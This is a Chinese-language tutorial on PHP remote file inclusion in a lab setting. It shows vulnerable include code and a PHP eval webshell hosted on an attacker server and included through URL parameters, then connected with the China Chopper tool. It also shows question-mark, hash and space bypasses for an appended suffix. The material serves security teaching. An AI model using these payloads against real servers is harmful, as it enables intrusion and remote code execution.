PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。
(
allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件
)
注意:如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件
例如:我们用windows server 2003 服务器包含一个Linux上的phpinfo.php文件,那么得到的就是Linux的php配置文件,而不是Windows上的php配置文件。
无限制远程文件包含漏洞示例:
已知192.168.173.128这台服务器中存在着文件包含漏洞,我们想要通过远程包含自己的服务器上的木马文件
192.168.173.128/index.php
<?php
$filename = $_GET[‘page’];
Include($filename);
?>
首先,我们在自己的服务器192.168.173.129上新建一个文件2.txt
<?php
echo ‘hello hackerAK’
?>
我们通过远程包含文件包含到192.168.173.128这台目标服务器上,包含的方式与本地包含的方式一样:
http://192.168.173.128/index.php?page=http://192.168.173.129/2.txt
页面显示正常,说明文件包含成功!
我们继续包含一个木马文件getshell.txt看能否执行,为了方便查看,我们让它输出“123”
<?php
@eval($_POST['x']);
echo '123' ;
?>
我们在浏览器的地址栏中写入
http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt
成功显示出页面,文件包含成功
下面我们用中国菜刀连一下,看能否连接到目标的服务器
打开菜刀,右键“添加”,然后在地址栏中填入我们包含的payload:http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt
,密码为“x”,选择php脚本,点击添加
有限制远程文件包含漏洞示例:
测试代码:
<?php include($_GET['filename'] . ".html"); ?>
代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。
问号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
#号绕过
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20